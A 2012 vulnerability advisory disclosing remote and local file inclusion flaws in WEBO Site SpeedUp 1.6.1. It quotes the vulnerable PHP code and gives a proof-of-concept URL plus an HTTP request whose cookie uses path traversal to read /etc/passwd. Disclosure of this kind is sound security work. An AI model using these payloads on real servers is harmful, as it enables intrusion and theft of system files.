webo site speedup 1.6.1 - Multiple Vulnerabilities

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   [ Discovered by dun \ posdub[at]gmail.com ]
   [ 2012-06-16                              ]
 ###############################################################
 #  [ WEBO Site SpeedUp <= 1.6.1 ]  Multiple Vulnerabilites    #
 ###############################################################
 #
 # Script: "WEBO Site SpeedUp is a PHP solution that automatically speeds your 
 #          website up by combining and compressing your JavaScript and CSS assets..."
 #
 # Vendor:   http://www.webogroup.com/home/
 # Download: http://web-optimizator.googlecode.com/files/webo.site.speedup.v1.6.1.zip
 #
 #  Bug: ./weboptimizer/index.php (lines: 7-21)
 #  ...
 #  $basepath = isset($basepath) ? $basepath : dirname(__FILE__) . '/';          // 1 [RFI]
 # 
 #  /* We need these */
 #  require($basepath . "controller/admin.php");                                 // 2 [RFI]
 #  require($basepath . "libs/php/view.php");
 # 
 #  /* include language file */
 #  $language = strtolower(preg_replace("/[-,;].*/", "", empty($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? 'en' : $_SERVER["HTTP_ACCEPT_LANGUAGE"]));
 #  $language = preg_replace("/[^a-z]/", "", $language);
 #  $language = str_replace(array('uk'), array('ua'), $language);
 #  if (!empty($_COOKIE['wss_lang'])) {                                          // 1 [LFI]
 #    $language = strtolower($_COOKIE['wss_lang']);                              // 2 [LFI]
 #  }
 #  if (is_file($basepath . "libs/php/lang/" . $language . ".php")) {            //
 #    require($basepath . "libs/php/lang/" . $language . ".php");                // 3 [LFI]
 #  } else {
 #  	require($basepath . "libs/php/lang/en.php");
 #  }
 #  ...

   [RFI] Vuln: ( allow_url_include = On; register_globals = On; )

         http://localhost/weboptimizer/index.php?basepath=http://localhost/phpinfo.txt?

   [LFI] Vuln: ( magic_quotes_gpc = Off; )
 
         GET /weboptimizer/ HTTP/1.1
         Host: localhost
         User-Agent: Mozilla/5.0
         Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
         Accept-Language: pl,en-us;q=0.7,en;q=0.3
         Accept-Encoding: gzip, deflate
         Connection: keep-alive
         Referer: http://localhost/weboptimizer/
         Cookie: wss_blocks=wss_toolswss_linkswss_newswss_syswss_updates; wss_lang=../../../../../../etc/passwd%00
  
         HTTP/1.1 200 OK
         Server: Apache
         Date: Fri, 14 Jun 2012 22:29:39 GMT
         Content-Type: text/html;charset=utf-8
         Connection: keep-alive
         X-Powered-By: PHP/5.2.10
         Expires: Sat, 16 Jun 2012 03:29:39 +0400
         Cache-Control: no-store, no-cache, must-revalidate, private
         Pragma: no-cache
         Vary: Accept-Encoding,User-Agent
         Content-Encoding: gzip
         Content-Length: 2099
   
 ### [ dun / 2012 ] #####################################################